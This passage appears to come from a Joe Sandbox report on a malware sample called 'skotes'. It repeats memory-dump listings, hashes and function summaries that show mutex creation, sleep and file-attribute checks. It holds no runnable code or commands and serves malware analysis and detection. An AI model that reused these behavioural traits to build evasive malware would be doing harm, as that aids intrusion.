Associated: 00000006.00000002.3274517807.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274607199.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274708377.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274795321.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274874543.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274929352.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275008146.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275082050.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275131121.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275212425.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275296985.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275381944.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275432230.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275486091.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275561922.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275607832.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275823106.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275903468.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275954058.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276032200.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276110523.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276189749.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276236000.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: File__dosmaperr$HandleInformationType
String ID: nb
API String ID: 2531987475-3170095809
Opcode ID: d870b365b9d5413eab477671563ee0f700e41ca06f304eb4e72110bdf90076ff
Instruction ID: 1c1c8f73d053153ec0ebe6f4f53bc5c028d44a7a25fa9d810b6ef6e2c2107b86
Opcode Fuzzy Hash: d870b365b9d5413eab477671563ee0f700e41ca06f304eb4e72110bdf90076ff
Instruction Fuzzy Hash: 7E417CB1904A14ABDB24DFB5EC45DAFBBFAEF89300B10442DF856D3611EA30A944CF25

Function 005F9BA5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 005F9BA8
Sleep.KERNEL32(00000064,?), ref: 005FA963
CreateMutexA.KERNEL32(00000000,00000000,00653254), ref: 005FA981

Strings

T2e, xrefs: 005FA970

Memory Dump Source

Source File: 00000006.00000002.3270359474.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000006.00000002.3270190766.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270359474.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270837424.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271004747.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271179648.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271343354.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271491378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272327939.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272507422.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272699394.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272885870.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273314771.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273481461.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273626631.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273813739.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273953244.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274122226.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274219081.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274304249.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274426300.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274517807.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274607199.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274708377.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274795321.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274874543.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274929352.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275008146.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275082050.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275131121.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275212425.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275296985.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275381944.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275432230.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275486091.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275561922.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275607832.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275823106.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275903468.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275954058.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276032200.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276110523.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276189749.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276236000.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2e
API String ID: 396266464-1146920664
Opcode ID: 93886b36d825f79d26305fc8b83278fd1dee2ef114dea0ce59fbc285b3c4e875
Instruction ID: 8df657c3c8b71a7590f8966d1eaaeae4b8be8759de7b8c6c4d672d2f7a95b852
Opcode Fuzzy Hash: 93886b36d825f79d26305fc8b83278fd1dee2ef114dea0ce59fbc285b3c4e875
Instruction Fuzzy Hash: 8C3128717456088BEB08DBA8DD8977EBF62BBC5310F208218E118973D6C7B94A808752

Function 005F9CDA Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 139sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 005F9CDD
Sleep.KERNEL32(00000064,?), ref: 005FA963
CreateMutexA.KERNEL32(00000000,00000000,00653254), ref: 005FA981

Strings

T2e, xrefs: 005FA970

Memory Dump Source

Source File: 00000006.00000002.3270359474.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000006.00000002.3270190766.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270359474.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270837424.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271004747.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271179648.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271343354.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271491378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272327939.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272507422.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272699394.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272885870.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273314771.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273481461.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273626631.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273813739.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273953244.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274122226.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274219081.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274304249.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274426300.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274517807.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274607199.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274708377.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274795321.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274874543.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274929352.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275008146.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275082050.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275131121.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275212425.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275296985.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275381944.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275432230.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275486091.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275561922.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275607832.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275823106.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275903468.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275954058.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276032200.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276110523.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276189749.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276236000.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2e
API String ID: 396266464-1146920664
Opcode ID: f99d48623ef4cfb5fc3acf84a7d930ef9471eec5a9d6048d38d6bd5f6157acf1
Instruction ID: 0ac9fd3c70e6f7cca1cda4394a6af4a0ce496995ab9668a52c960de07046523a
Opcode Fuzzy Hash: f99d48623ef4cfb5fc3acf84a7d930ef9471eec5a9d6048d38d6bd5f6157acf1
Instruction Fuzzy Hash: 8B3113717146088BEB18DBA8DDC97BDBB62BFC5310F344618E118D73D6C7BA8A808752

Function 005F9F44 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 137sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 005F9F47
Sleep.KERNEL32(00000064,?), ref: 005FA963
CreateMutexA.KERNEL32(00000000,00000000,00653254), ref: 005FA981

Strings

T2e, xrefs: 005FA970

Memory Dump Source

Source File: 00000006.00000002.3270359474.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000006.00000002.3270190766.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270359474.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270837424.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271004747.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271179648.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271343354.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271491378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272327939.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272507422.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272699394.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272885870.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273314771.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273481461.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273626631.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273813739.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273953244.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274122226.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274219081.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274304249.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274426300.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274517807.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274607199.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274708377.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274795321.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274874543.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274929352.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275008146.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275082050.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275131121.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275212425.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275296985.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275381944.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275432230.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275486091.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275561922.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275607832.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275823106.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275903468.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275954058.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276032200.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276110523.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276189749.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276236000.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2e
API String ID: 396266464-1146920664
Opcode ID: f0a5f704becdad688c4205ae7f2916b1be6a48178667aad5c24f2e3c73ae17d4
Instruction ID: 58158f8b0040ff391e2dec61162c2430eea0ead4fb786d30e02bf2c1d7500041
Opcode Fuzzy Hash: f0a5f704becdad688c4205ae7f2916b1be6a48178667aad5c24f2e3c73ae17d4
Instruction Fuzzy Hash: 5C3128717106088BEB18DBA8DDC97BDBB66FBC5310F204619E118D73D6D7BA49808752

Function 005FA079 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 136sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 005FA07C
Sleep.KERNEL32(00000064,?), ref: 005FA963
CreateMutexA.KERNEL32(00000000,00000000,00653254), ref: 005FA981

Strings

T2e, xrefs: 005FA970

Memory Dump Source

Source File: 00000006.00000002.3270359474.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000006.00000002.3270190766.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270359474.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270837424.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271004747.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271179648.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271343354.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271491378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272327939.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272507422.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272699394.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272885870.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273314771.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273481461.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273626631.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273813739.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273953244.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274122226.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274219081.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274304249.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274426300.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274517807.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274607199.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274708377.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274795321.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274874543.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274929352.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275008146.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275082050.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275131121.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275212425.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275296985.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275381944.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275432230.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275486091.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275561922.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275607832.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275823106.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275903468.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275954058.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276032200.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276110523.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276189749.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276236000.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2e
API String ID: 396266464-1146920664
Opcode ID: 6e793008b32f66dc20c35f9651f9b55c2c4580cc57ce566abdf0b74b907b5b90
Instruction ID: 70930e62a608f5b8944f78f7026ef80d5d8a86cde53837b3653eaa089df9fb9a
Opcode Fuzzy Hash: 6e793008b32f66dc20c35f9651f9b55c2c4580cc57ce566abdf0b74b907b5b90
Instruction Fuzzy Hash: E63137B17502089BEB08DBA8DD89B7DBB77BBC5310F204218E118973D6C7BA59808753

Function 005FA1AE Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 135sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 005FA1B1
Sleep.KERNEL32(00000064,?), ref: 005FA963
CreateMutexA.KERNEL32(00000000,00000000,00653254), ref: 005FA981

Strings

T2e, xrefs: 005FA970

Memory Dump Source

Source File: 00000006.00000002.3270359474.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000006.00000002.3270190766.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270359474.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270837424.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271004747.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271179648.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271343354.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271491378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272327939.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272507422.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272699394.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272885870.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273314771.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273481461.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273626631.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273813739.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273953244.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274122226.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274219081.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274304249.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274426300.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274517807.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274607199.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274708377.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274795321.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
